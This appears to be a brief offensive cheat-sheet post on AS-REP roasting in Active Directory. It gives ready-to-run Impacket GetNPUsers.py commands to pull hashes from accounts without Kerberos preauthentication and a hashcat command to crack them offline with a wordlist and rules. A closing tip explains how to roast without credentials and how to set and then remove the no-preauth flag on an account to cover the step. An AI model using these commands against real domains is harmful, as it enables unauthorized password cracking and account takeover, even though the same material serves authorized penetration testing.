AS-REP roast accounts without preauth

Jul 9, 2026 · 1 min read

Find users with DONT_REQ_PREAUTH set and request their AS-REP, which contains material encrypted with their password hash.

bash

GetNPUsers.py dom/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt
# with creds, enumerate the flag directly
GetNPUsers.py dom/user:pass -request -format hashcat

Crack offline.

bash

hashcat -m 18200 asrep.txt rockyou.txt -r rules/InsidePro-PasswordsPro.rule

Pro note: you can AS-REP roast with no domain credentials if you have a valid username list, making it a strong pre-auth foothold. If you have write access to a target account, you can also set the no-preauth flag yourself, roast, then unset it, mirroring the targeted Kerberoast trick.